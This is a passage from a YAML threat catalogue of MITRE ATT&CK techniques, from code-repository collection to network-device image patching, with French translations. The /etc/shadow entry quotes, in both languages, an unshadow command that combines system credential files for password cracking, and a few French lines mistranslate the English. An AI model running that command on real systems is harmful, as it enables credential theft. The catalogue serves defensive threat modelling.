
      https://attack.mitre.org/techniques/T1213/003'
    translations:
      fr:
        name: "R\xE9f\xE9rentiels de code"
        description: "Les adversaires peuvent exploiter les r\xE9f\xE9rentiels de\
          \ code pour collecter des informations pr\xE9cieuses. Les r\xE9f\xE9rentiels\
          \ de code sont des outils/services qui stockent le code source et automatisent\
          \ les constructions de logiciels. Ils peuvent \xEAtre h\xE9berg\xE9s en\
          \ interne ou en priv\xE9 sur des sites tiers tels que Github, GitLab, SourceForge\
          \ et BitBucket. Les utilisateurs interagissent g\xE9n\xE9ralement avec les\
          \ r\xE9f\xE9rentiels de code par le biais d\u2019une application Web ou\
          \ d\u2019utilitaires de ligne de commande tels que git.\n\nUne fois que\
          \ les adversaires ont acc\xE8s au r\xE9seau d\u2019une victime ou \xE0 un\
          \ r\xE9f\xE9rentiel de code priv\xE9, ils peuvent collecter des informations\
          \ sensibles telles que du code source propri\xE9taire ou des [informations\
          \ d\u2019identification non s\xE9curis\xE9es](https://attack.mitre.org/techniques/T1552)\
          \ contenues dans le code source du logiciel.  L\u2019acc\xE8s au code source\
          \ du logiciel peut permettre aux adversaires de d\xE9velopper des [exploits](https://attack.mitre.org/techniques/T1587/004),\
          \ tandis que les informations d\u2019identification peuvent donner acc\xE8\
          s \xE0 des ressources suppl\xE9mentaires \xE0 l\u2019aide de [comptes valides](https://attack.mitre.org/techniques/T1078).\
          \ (Citation : Violation d\u2019Uber filaire)(Citation : Krebs Adobe)\n\n\
          **Remarque :** Ceci est distinct des [D\xE9p\xF4ts de code](https://attack.mitre.org/techniques/T1593/003),\
          \ qui se concentrent sur la conduite de [Reconnaissance](https://attack.mitre.org/tactics/TA0043)\
          \ via des d\xE9p\xF4ts de code publics.\nhttps://attack.mitre.org/techniques/T1213/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1565.002
    ref_id: T1565.002
    name: Transmitted Data Manipulation
    description: 'Adversaries may alter data en route to storage or other systems
      in order to manipulate external outcomes or hide activity, thus threatening
      the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus
      Sony 2018) By manipulating transmitted data, adversaries may attempt to affect
      a business process, organizational understanding, and decision making.


      Manipulation may be possible over a network connection or between system processes
      where there is an opportunity deploy a tool that will intercept and change information.
      The type of modification and the impact it will have depends on the target transmission
      mechanism as well as the goals and objectives of the adversary. For complex
      systems, an adversary would likely need special expertise and possibly access
      to specialized software related to the system that would typically be gained
      through a prolonged information gathering campaign in order to have the desired
      impact.

      https://attack.mitre.org/techniques/T1565/002'
    translations:
      fr:
        name: "Manipulation des donn\xE9es transmises"
        description: "Les adversaires peuvent modifier les donn\xE9es en cours de\
          \ stockage ou d\u2019autres syst\xE8mes afin de manipuler des r\xE9sultats\
          \ externes ou de cacher des activit\xE9s, mena\xE7ant ainsi l\u2019int\xE9\
          grit\xE9 des donn\xE9es. (Citation : FireEye APT38 octobre 2018)(Citation\
          \ : DOJ Lazarus Sony 2018) En manipulant les donn\xE9es transmises, les\
          \ adversaires peuvent tenter d\u2019affecter un processus m\xE9tier, la\
          \ compr\xE9hension organisationnelle et la prise de d\xE9cision.\n\nLa manipulation\
          \ peut \xEAtre possible via une connexion r\xE9seau ou entre des processus\
          \ syst\xE8me lorsqu\u2019il est possible de d\xE9ployer un outil qui interceptera\
          \ et modifiera l\u2019information. Le type de modification et l\u2019impact\
          \ qu\u2019elle aura d\xE9pendent du m\xE9canisme de transmission cible ainsi\
          \ que des buts et objectifs de l\u2019adversaire. Pour les syst\xE8mes complexes,\
          \ un adversaire aurait probablement besoin d\u2019une expertise particuli\xE8\
          re et peut-\xEAtre d\u2019un acc\xE8s \xE0 des logiciels sp\xE9cialis\xE9\
          s li\xE9s au syst\xE8me, ce qui serait g\xE9n\xE9ralement obtenu par le\
          \ biais d\u2019une campagne de collecte d\u2019informations prolong\xE9\
          e afin d\u2019avoir l\u2019impact souhait\xE9.\nhttps://attack.mitre.org/techniques/T1565/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1003.008
    ref_id: T1003.008
    name: /etc/passwd and /etc/shadow
    description: 'Adversaries may attempt to dump the contents of <code>/etc/passwd</code>
      and <code>/etc/shadow</code> to enable offline password cracking. Most modern
      Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code>
      to store user account information including password hashes in <code>/etc/shadow</code>.
      By default, <code>/etc/shadow</code> is only readable by the root user.(Citation:
      Linux Password and Shadow File Formats)


      The Linux utility, unshadow, can be used to combine the two files in a format
      suited for password cracking utilities such as John the Ripper:(Citation: nixCraft
      - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>

      https://attack.mitre.org/techniques/T1003/008'
    translations:
      fr:
        name: /etc/passwd et /etc/shadow
        description: "Les adversaires peuvent tenter de vider le contenu de <code>/etc/passwd</code>\
          \ et <code>/etc/shadow</code> pour permettre le craquage de mot de passe\
          \ hors ligne. La plupart des syst\xE8mes d\u2019exploitation Linux modernes\
          \ utilisent une combinaison de <code>/etc/passwd</code> et <code>/etc/shadow</code>\
          \ pour stocker les informations de compte utilisateur, y compris les hachages\
          \ de mot de passe dans <code>/etc/shadow</code>. Par d\xE9faut, <code>/etc/shadow\
          \ n\u2019est</code> lisible que par l\u2019utilisateur root. (Citation :\
          \ Mots de passe Linux et formats de fichiers fant\xF4mes)\n\nL\u2019utilitaire\
          \ Linux, unshadow, peut \xEAtre utilis\xE9 pour combiner les deux fichiers\
          \ dans un format adapt\xE9 aux utilitaires de craquage de mots de passe\
          \ tels que John the Ripper :(Citation\_: nixCraft - John the Ripper) <code>#\
          \ /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>\n\
          https://attack.mitre.org/techniques/T1003/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1543.001
    ref_id: T1543.001
    name: Launch Agent
    description: "Adversaries may create or modify launch agents to repeatedly execute\
      \ malicious payloads as part of persistence. When a user logs in, a per-user\
      \ launchd process is started which loads the parameters for each launch-on-demand\
      \ user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>,\
      \ <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation:\
      \ AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation:\
      \ Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments\
      \ </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name,\
      \ executable location, and execution time.(Citation: OSX.Dok Malware) Launch\
      \ Agents are often installed to perform updates to programs, launch user specified\
      \ programs at login, or to conduct other developer tasks.\n\n Launch Agents\
      \ can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001)\
      \ command.\n \nAdversaries may install a new Launch Agent that executes at login\
      \ by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code>\
      \ or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy\
      \ Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent\
      \ name may be disguised by using a name from the related operating system or\
      \ benign software. Launch Agents are created with user level privileges and\
      \ execute with user level permissions.(Citation: OSX Malware Detection)(Citation:\
      \ OceanLotus for OS X)\nhttps://attack.mitre.org/techniques/T1543/001"
    translations:
      fr:
        name: Agent de lancement
        description: "Les adversaires peuvent cr\xE9er ou modifier des agents de lancement\
          \ pour ex\xE9cuter \xE0 plusieurs reprises des charges utiles malveillantes\
          \ dans le cadre de la persistance. Lorsqu\u2019un utilisateur se connecte,\
          \ un processus launchd par utilisateur est d\xE9marr\xE9 et charge les param\xE8\
          tres de chaque agent utilisateur de lancement \xE0 la demande \xE0 partir\
          \ du fichier de liste de propri\xE9t\xE9s (.plist) trouv\xE9 dans <code>/System/Library/LaunchAgents</code>,\
          \ <code>/Library/LaunchAgents</code> et <code>~/Library/LaunchAgents</code>.\
          \ (Citation : d\xE9mons de l\u2019agent de lancement AppleDocs)(Citation\
          \ : logiciel malveillant OSX Keydnap) (Citation : Logiciel malveillant Mac\
          \ obsol\xE8te) Les fichiers de liste de propri\xE9t\xE9s utilisent les cl\xE9\
          s <code>Label</code>, <code>ProgramArguments </code>et <code>RunAtLoad</code>\
          \ pour identifier le nom de l\u2019agent de lancement, l\u2019emplacement\
          \ de l\u2019ex\xE9cutable et le temps d\u2019ex\xE9cution. (R\xE9f\xE9rence\
          \ : OSX. Les agents de lancement sont souvent install\xE9s pour effectuer\
          \ des mises \xE0 jour de programmes, lancer des programmes sp\xE9cifi\xE9\
          s par l\u2019utilisateur lors de la connexion ou pour effectuer d\u2019\
          autres t\xE2ches de d\xE9veloppement.\n\nLes agents de lancement peuvent\
          \ \xE9galement \xEAtre ex\xE9cut\xE9s \xE0 l\u2019aide de la commande [Launchctl](https://attack.mitre.org/techniques/T1569/001).\n\
          \ \nLes adversaires peuvent installer un nouvel agent de lancement qui s\u2019\
          ex\xE9cute lors de la connexion en pla\xE7ant un fichier .plist dans les\
          \ dossiers appropri\xE9s avec les cl\xE9s <code>RunAtLoad</code> ou <code>KeepAlive</code>\
          \ d\xE9finies sur <code>true</code>. (Citation : Sofacy Komplex Trojan)(Citation\
          \ : M\xE9thodes de persistance des logiciels malveillants Mac) Le nom de\
          \ l\u2019agent de lancement peut \xEAtre d\xE9guis\xE9 en utilisant un nom\
          \ provenant du syst\xE8me d\u2019exploitation associ\xE9 ou d\u2019un logiciel\
          \ inoffensif. Les agents de lancement sont cr\xE9\xE9s avec des privil\xE8\
          ges de niveau utilisateur et ex\xE9cut\xE9s avec des autorisations de niveau\
          \ utilisateur. (Citation : D\xE9tection des logiciels malveillants OSX)(Citation\
          \ : OceanLotus pour OS X)\nhttps://attack.mitre.org/techniques/T1543/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1569
    ref_id: T1569
    name: System Services
    description: 'Adversaries may abuse system services or daemons to execute commands
      or programs. Adversaries can execute malicious content by interacting with or
      creating services either locally or remotely. Many services are set to run at
      boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)),
      but adversaries can also abuse services for one-time or temporary execution.

      https://attack.mitre.org/techniques/T1569'
    translations:
      fr:
        name: "Services syst\xE8me"
        description: "Les adversaires peuvent abuser des services syst\xE8me ou des\
          \ d\xE9mons pour ex\xE9cuter des commandes ou des programmes. Les adversaires\
          \ peuvent ex\xE9cuter du contenu malveillant en interagissant avec des services\
          \ ou en cr\xE9ant des services localement ou \xE0 distance. De nombreux\
          \ services sont configur\xE9s pour s\u2019ex\xE9cuter au d\xE9marrage, ce\
          \ qui peut aider \xE0 obtenir la persistance ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)),\
          \ mais les adversaires peuvent \xE9galement abuser des services pour une\
          \ ex\xE9cution unique ou temporaire.\nhttps://attack.mitre.org/techniques/T1569"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059.003
    ref_id: T1059.003
    name: Windows Command Shell
    description: 'Adversaries may abuse the Windows command shell for execution. The
      Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the
      primary command prompt on Windows systems. The Windows command prompt can be
      used to control almost any aspect of a system, with various permission levels
      required for different subsets of commands. The command prompt can be invoked
      remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such
      as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)


      Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential
      commands to run, as well as normal scripting operations such as conditionals
      and loops. Common uses of batch files include long or repetitive tasks, or the
      need to run the same set of commands on multiple systems.


      Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute
      various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106)
      to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106)
      interactively with input and output forwarded over a command and control channel.

      https://attack.mitre.org/techniques/T1059/003'
    translations:
      fr:
        name: Shell de commande Windows
        description: "Les adversaires peuvent abuser de l\u2019interpr\xE9teur de\
          \ commandes Windows pour l\u2019ex\xE9cution. L\u2019interpr\xE9teur de\
          \ commandes Windows ([cmd](https://attack.mitre.org/software/S0106)) est\
          \ l\u2019invite de commande principale sur les syst\xE8mes Windows. L\u2019\
          invite de commande Windows peut \xEAtre utilis\xE9e pour contr\xF4ler presque\
          \ n\u2019importe quel aspect d\u2019un syst\xE8me, avec diff\xE9rents niveaux\
          \ d\u2019autorisation requis pour diff\xE9rents sous-ensembles de commandes.\
          \ L\u2019invite de commande peut \xEAtre appel\xE9e \xE0 distance via [Services\
          \ \xE0 distance](https://attack.mitre.org/techniques/T1021) tels que [SSH](https://attack.mitre.org/techniques/T1021/004).\
          \ (Citation : SSH dans Windows)\n\nLes fichiers batch (ex : .bat ou .cmd)\
          \ fournissent \xE9galement au shell une liste de commandes s\xE9quentielles\
          \ \xE0 ex\xE9cuter, ainsi que des op\xE9rations de script normales telles\
          \ que les conditions et les boucles. Les fichiers batch sont couramment\
          \ utilis\xE9s comme des t\xE2ches longues ou r\xE9p\xE9titives, ou la n\xE9\
          cessit\xE9 d\u2019ex\xE9cuter le m\xEAme ensemble de commandes sur plusieurs\
          \ syst\xE8mes.\n\nLes adversaires peuvent utiliser [cmd](https://attack.mitre.org/software/S0106)\
          \ pour ex\xE9cuter diverses commandes et charges utiles. Les utilisations\
          \ courantes incluent [cmd](https://attack.mitre.org/software/S0106) pour\
          \ ex\xE9cuter une seule commande, ou l\u2019utilisation abusive de [cmd](https://attack.mitre.org/software/S0106)\
          \ de mani\xE8re interactive avec l\u2019entr\xE9e et la sortie transmises\
          \ via un canal de commande et de contr\xF4le.\nhttps://attack.mitre.org/techniques/T1059/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.009
    ref_id: T1055.009
    name: Proc Memory
    description: "Adversaries may inject malicious code into processes via the /proc\
      \ filesystem in order to evade process-based defenses as well as possibly elevate\
      \ privileges. Proc memory injection is a method of executing arbitrary code\
      \ in the address space of a separate live process. \n\nProc memory injection\
      \ involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>)\
      \ then crafting a return-oriented programming (ROP) payload with available gadgets/instructions.\
      \ Each running process has its own directory, which includes memory mappings.\
      \ Proc memory injection is commonly performed by overwriting the target processes\u2019\
      \ stack using memory mappings provided by the /proc filesystem. This information\
      \ can be used to enumerate offsets (including the stack) and gadgets (or instructions\
      \ within the program that can be used to build a malicious payload) otherwise\
      \ hidden by process memory protections such as address space layout randomization\
      \ (ASLR). Once enumerated, the target processes\u2019 memory map within <code>/proc/[pid]/maps</code>\
      \ can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux\
      \ Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker\
      \ Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate\
      \ a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),\
      \ proc memory injection may target child processes (such as a backgrounded copy\
      \ of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context\
      \ of another process may allow access to the process's memory, system/network\
      \ resources, and possibly elevated privileges. Execution via proc memory injection\
      \ may also evade detection from security products since the execution is masked\
      \ under a legitimate process.\nhttps://attack.mitre.org/techniques/T1055/009"
    translations:
      fr:
        name: "M\xE9moire Proc"
        description: "Les adversaires peuvent injecter du code malveillant dans les\
          \ processus via le syst\xE8me de fichiers /proc afin d\u2019\xE9chapper\
          \ aux d\xE9fenses bas\xE9es sur les processus et \xE9ventuellement d\u2019\
          \xE9lever les privil\xE8ges. L\u2019injection de m\xE9moire Proc est une\
          \ m\xE9thode d\u2019ex\xE9cution de code arbitraire dans l\u2019espace d\u2019\
          adressage d\u2019un processus en direct distinct. \n\nL\u2019injection de\
          \ m\xE9moire Proc consiste \xE0 \xE9num\xE9rer la m\xE9moire d\u2019un processus\
          \ via le syst\xE8me de fichiers /<code>proc (/proc/[pid]</code>), puis \xE0\
          \ cr\xE9er une charge utile de programmation orient\xE9e retour (ROP) avec\
          \ les gadgets/instructions disponibles. Chaque processus en cours d\u2019\
          ex\xE9cution poss\xE8de son propre r\xE9pertoire, qui comprend les mappages\
          \ de m\xE9moire. L\u2019injection de m\xE9moire Proc est g\xE9n\xE9ralement\
          \ effectu\xE9e en \xE9crasant la pile des processus cibles \xE0 l\u2019\
          aide des mappages de m\xE9moire fournis par le syst\xE8me de fichiers /proc.\
          \ Ces informations peuvent \xEAtre utilis\xE9es pour \xE9num\xE9rer des\
          \ d\xE9calages (y compris la pile) et des gadgets (ou des instructions dans\
          \ le programme qui peuvent \xEAtre utilis\xE9s pour construire une charge\
          \ utile malveillante) autrement cach\xE9s par des protections de m\xE9moire\
          \ de processus telles que la randomisation de la disposition de l\u2019\
          espace d\u2019adressage (ASLR). Une fois \xE9num\xE9r\xE9, le mappage de\
          \ m\xE9moire des processus cibles dans <code>/proc/[pid]/maps</code> peut\
          \ \xEAtre \xE9cras\xE9 \xE0 l\u2019aide de dd.(Citation : Uninformed Needle)(Citation\
          \ : GDS Linux Injection) (Citation : DD Man) \n\nD\u2019autres techniques\
          \ telles que le [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006)\
          \ peuvent \xEAtre utilis\xE9es pour remplir un processus cible avec plus\
          \ de gadgets disponibles. \xC0 l\u2019instar de [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),\
          \ l\u2019injection de m\xE9moire proc peut cibler les processus enfants\
          \ (tels qu\u2019une copie en arri\xE8re-plan de la veille). (Citation :\
          \ Injection Linux GDS) \n\nL\u2019ex\xE9cution de code dans le contexte\
          \ d\u2019un autre processus peut permettre d\u2019acc\xE9der \xE0 la m\xE9\
          moire du processus, aux ressources syst\xE8me/r\xE9seau et \xE9ventuellement\
          \ \xE0 des privil\xE8ges \xE9lev\xE9s. L\u2019ex\xE9cution via l\u2019injection\
          \ de m\xE9moire proc peut \xE9galement \xE9chapper \xE0 la d\xE9tection\
          \ des produits de s\xE9curit\xE9, car l\u2019ex\xE9cution est masqu\xE9\
          e par un processus l\xE9gitime.\nhttps://attack.mitre.org/techniques/T1055/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1650
    ref_id: T1650
    name: Acquire Access
    description: "Adversaries may purchase or otherwise acquire an existing access\
      \ to a target system or network. A variety of online services and initial access\
      \ broker networks are available to sell access to previously compromised systems.(Citation:\
      \ Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation:\
      \ Krebs Access Brokers Fortune 500) In some cases, adversary groups may form\
      \ partnerships to share compromised systems with each other.(Citation: CISA\
      \ Karakurt 2022)\n\nFootholds to compromised systems may take a variety of forms,\
      \ such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003))\
      \ or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133).\
      \ In some cases, access brokers will implant compromised systems with a \u201C\
      load\u201D that can be used to install additional malware for paying customers.(Citation:\
      \ Microsoft Ransomware as a Service)\n\nBy leveraging existing access broker\
      \ networks rather than developing or obtaining their own initial access capabilities,\
      \ an adversary can potentially reduce the resources required to gain a foothold\
      \ on a target network and focus their efforts on later stages of compromise.\
      \ Adversaries may prioritize acquiring access to systems that have been determined\
      \ to lack security monitoring or that have high privileges, or systems that\
      \ belong to organizations in a particular sector.(Citation: Microsoft Ransomware\
      \ as a Service)(Citation: CrowdStrike Access Brokers)\n\nIn some cases, purchasing\
      \ access to an organization in sectors such as IT contracting, software development,\
      \ or telecommunications may allow an adversary to compromise additional victims\
      \ via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor\
      \ Authentication Interception](https://attack.mitre.org/techniques/T1111), or\
      \ even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).\n\
      \n**Note:** while this technique is distinct from other behaviors such as [Purchase\
      \ Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001),\
      \ they may often be used in conjunction (especially where the acquired foothold\
      \ requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\nhttps://attack.mitre.org/techniques/T1650"
    translations:
      fr:
        name: "Acqu\xE9rir l\u2019acc\xE8s"
        description: "Les adversaires peuvent acheter ou acqu\xE9rir d\u2019une autre\
          \ mani\xE8re un acc\xE8s existant \xE0 un syst\xE8me ou \xE0 un r\xE9seau\
          \ cible. Une vari\xE9t\xE9 de services en ligne et de r\xE9seaux de courtiers\
          \ d\u2019acc\xE8s initial sont disponibles pour vendre l\u2019acc\xE8s \xE0\
          \ des syst\xE8mes pr\xE9c\xE9demment compromis. (Citation : Microsoft Ransomware\
          \ en tant que service)(Citation : CrowdStrike Access Brokers)(Citation :\
          \ Krebs Access Brokers Fortune 500) Dans certains cas, des groupes adversaires\
          \ peuvent former des partenariats pour partager entre eux des syst\xE8mes\
          \ compromis. (R\xE9f\xE9rence : CISA Karakurt 2022)\n\nLes points d\u2019\
          ancrage vers les syst\xE8mes compromis peuvent prendre diverses formes,\
          \ telles que l\u2019acc\xE8s \xE0 des portes d\xE9rob\xE9es plant\xE9es\
          \ (par exemple, [Web Shell](https://attack.mitre.org/techniques/T1505/003))\
          \ ou un acc\xE8s \xE9tabli via des [Services \xE0 distance externes](https://attack.mitre.org/techniques/T1133).\
          \ Dans certains cas, les courtiers d\u2019acc\xE8s implantent aux syst\xE8\
          mes compromis une \xAB charge \xBB qui peut \xEAtre utilis\xE9e pour installer\
          \ des logiciels malveillants suppl\xE9mentaires pour les clients payants.\
          \ (Citation : Microsoft Ransomware en tant que service)\n\nEn exploitant\
          \ les r\xE9seaux de courtage d\u2019acc\xE8s existants plut\xF4t que de\
          \ d\xE9velopper ou d\u2019obtenir ses propres capacit\xE9s d\u2019acc\xE8\
          s initial, un adversaire peut potentiellement r\xE9duire les ressources\
          \ n\xE9cessaires pour prendre pied sur un r\xE9seau cible et concentrer\
          \ ses efforts sur les \xE9tapes ult\xE9rieures de la compromission. Les\
          \ adversaires peuvent donner la priorit\xE9 \xE0 l\u2019acquisition de l\u2019\
          acc\xE8s \xE0 des syst\xE8mes dont il a \xE9t\xE9 d\xE9termin\xE9 qu\u2019\
          ils ne sont pas surveill\xE9s de la s\xE9curit\xE9 ou qui disposent de privil\xE8\
          ges \xE9lev\xE9s, ou \xE0 des syst\xE8mes qui appartiennent \xE0 des organisations\
          \ d\u2019un secteur particulier. (Citation : Microsoft Ransomware en tant\
          \ que service)(Citation : CrowdStrike Access Brokers)\n\nDans certains cas,\
          \ l\u2019achat d\u2019un acc\xE8s \xE0 une organisation dans des secteurs\
          \ tels que les contrats informatiques, le d\xE9veloppement de logiciels\
          \ ou les t\xE9l\xE9communications peut permettre \xE0 un adversaire de compromettre\
          \ d\u2019autres victimes par le biais d\u2019une [relation de confiance](https://attack.mitre.org/techniques/T1199),\
          \ d\u2019une [interception d\u2019authentification multifacteur](https://attack.mitre.org/techniques/T1111)\
          \ ou m\xEAme d\u2019une [compromission de la cha\xEEne d\u2019approvisionnement](https://attack.mitre.org/techniques/T1195).\n\
          \nBien que cette technique soit distincte d\u2019autres comportements tels\
          \ que [Donn\xE9es techniques d\u2019achat](https://attack.mitre.org/techniques/T1597/002)\
          \ et [Informations d\u2019identification](https://attack.mitre.org/techniques/T1589/001),\
          \ elles peuvent souvent \xEAtre utilis\xE9es conjointement (en particulier\
          \ lorsque le point d\u2019ancrage acquis n\xE9cessite des [Comptes valides](https://attack.mitre.org/techniques/T1078)).\n\
          https://attack.mitre.org/techniques/T1650"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1601.001
    ref_id: T1601.001
    name: Patch System Image
    description: "Adversaries may modify the operating system of a network device\
      \ to introduce new capabilities or weaken existing defenses.(Citation: Killing\
      \ the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation:\
      \ Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation:\
      \ Juniper Netscreen of the Dead) Some network devices are built with a monolithic\
      \ architecture, where the entire operating system and most of the functionality\
      \ of the device is contained within a single file.  Adversaries may change this\
      \ file in storage, to be loaded in a future boot, or in memory during runtime.\n\
      \nTo change the operating system in storage, the adversary will typically use\
      \ the standard procedures available to device operators. This may involve downloading\
      \ a new file via typical protocols used on network devices, such as TFTP, FTP,\
      \ SCP, or a console connection.  The original file may be overwritten, or a\
      \ new file may be written alongside of it and the device reconfigured to boot\
      \ to the compromised image.\n\nTo change the operating system in memory, the\
      \ adversary typically can use one of two methods. In the first, the adversary\
      \ would make use of native debug commands in the original, unaltered running\
      \ operating system that allow them to directly modify the relevant memory addresses\
      \ containing the running operating system.  This method typically requires administrative\
      \ level access to the device.\n\nIn the second method for changing the operating\
      \ system in memory, the adversary would make use of the boot loader. The boot\
      \ loader is the first piece of software that loads when the device starts that,\
      \ in turn, will launch the operating system.  Adversaries may use malicious\
      \ code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004)\
      \ method, to directly manipulate running operating system code in memory.  This\
      \ malicious code in the bootloader provides the capability of direct memory\
      \ manipulation to the adversary, allowing them to patch the live operating system\
      \ during runtime.\n\nBy modifying the instructions stored in the system image\
      \ file, adversaries may either weaken existing defenses or provision new capabilities\
      \ that the device did not have before. Examples of existing defenses that can\
      \ be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600),\
      \ authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004),\
      \ and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).\
      \  Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001),\
      \ [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port\
      \ Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may\
      \ also compromise existing commands in the operating system to produce false\
      \ output to mislead defenders.   When this method is used in conjunction with\
      \ [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one\
      \ example of a compromised system command may include changing the output of\
      \ the command that shows the version of the currently running operating system.\
      \  By patching the operating system, the adversary can change this command to\
      \ instead display the original, higher revision number that they replaced through\
      \ the system downgrade. \n\nWhen the operating system is patched in storage,\
      \ this can be achieved in either the resident storage (typically a form of flash\
      \ memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005).\
      \ \n\nWhen the technique is performed on the running operating system in memory\
      \ and not on the stored copy, this technique will not survive across reboots.\
      \  However, live memory modification of the operating system can be combined\
      \ with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve\
      \ persistence.\nhttps://attack.mitre.org/techniques/T1601/001"
    translations:
      fr:
        name: "Corriger l\u2019image du syst\xE8me"
        description: "Les adversaires peuvent modifier le syst\xE8me d'exploitation\
          \ d'un dispositif de r\xE9seau pour introduire de nouvelles capacit\xE9\
          s ou affaiblir les d\xE9fenses existantes (Citation : Killing the myth of\
          \ Cisco IOS rootkits) (Citation : Killing IOS diversity myth) (Citation\
          \ : Cisco IOS Shellcode) (Citation : Cisco IOS Forensics Developments) (Citation\
          \ : Juniper Netscreen of the Dead) Certains dispositifs de r\xE9seau sont\
          \ construits avec une architecture monolithique, dans laquelle l'ensemble\
          \ du syst\xE8me d'exploitation et la plupart des fonctionnalit\xE9s du dispositif\
          \ sont contenus dans un seul fichier.  Les adversaires peuvent modifier\
          \ ce fichier dans le stockage, pour le charger lors d'un prochain d\xE9\
          marrage, ou dans la m\xE9moire pendant l'ex\xE9cution.\n\nPour modifier\
          \ le syst\xE8me d'exploitation en m\xE9moire, l'adversaire utilise g\xE9\
          n\xE9ralement les proc\xE9dures standard dont disposent les op\xE9rateurs\
          \ de l'appareil. Il peut s'agir du t\xE9l\xE9chargement d'un nouveau fichier\
          \ par le biais de protocoles typiques utilis\xE9s sur les dispositifs de\
          \ r\xE9seau, tels que TFTP, FTP, SCP ou une connexion de console.  Le fichier\
          \ d'origine peut \xEAtre \xE9cras\xE9, ou un nouveau fichier peut \xEAtre\
          \ \xE9crit \xE0 c\xF4t\xE9 et l'appareil reconfigur\xE9 pour d\xE9marrer\
          \ avec l'image compromise.\n\nPour modifier le syst\xE8me d'exploitation\
          \ en m\xE9moire, l'adversaire peut g\xE9n\xE9ralement utiliser l'une des\
          \ deux m\xE9thodes suivantes. Dans la premi\xE8re, il utilise les commandes\
          \ de d\xE9bogage natives du syst\xE8me d'exploitation original, non modifi\xE9\
          , qui lui permettent de modifier directement les adresses m\xE9moire pertinentes\
          \ contenant le syst\xE8me d'exploitation en cours d'ex\xE9cution.  Cette\
          \ m\xE9thode n\xE9cessite g\xE9n\xE9ralement un acc\xE8s administratif \xE0\
          \ l'appareil.\n\nDans la deuxi\xE8me m\xE9thode pour modifier le syst\xE8\
          me d'exploitation en m\xE9moire, l'adversaire utilise le chargeur d'amor\xE7\
          age. Le chargeur d'amor\xE7age est le premier logiciel qui se charge au\
          \ d\xE9marrage de l'appareil et qui, \xE0 son tour, lance le syst\xE8me\
          \ d'exploitation.  Les adversaires peuvent utiliser un code malveillant\
          \ pr\xE9alablement implant\xE9 dans le chargeur d'amor\xE7age, par exemple\
          \ par le biais de la m\xE9thode [ROMMONkit] (https://attack.mitre.org/techniques/T1542/004),\
          \ pour manipuler directement le code du syst\xE8me d'exploitation en cours\
          \ d'ex\xE9cution dans la m\xE9moire.  Ce code malveillant dans le chargeur\
          \ d'amor\xE7age donne \xE0 l'adversaire la possibilit\xE9 de manipuler directement\
          \ la m\xE9moire, ce qui lui permet de corriger le syst\xE8me d'exploitation\
          \ en cours d'ex\xE9cution.\n\nEn modifiant les instructions stock\xE9es\
          \ dans le fichier image du syst\xE8me, les adversaires peuvent soit affaiblir\
          \ les d\xE9fenses existantes, soit fournir de nouvelles capacit\xE9s dont\
          \ l'appareil ne disposait pas auparavant. Parmi les exemples de d\xE9fenses\
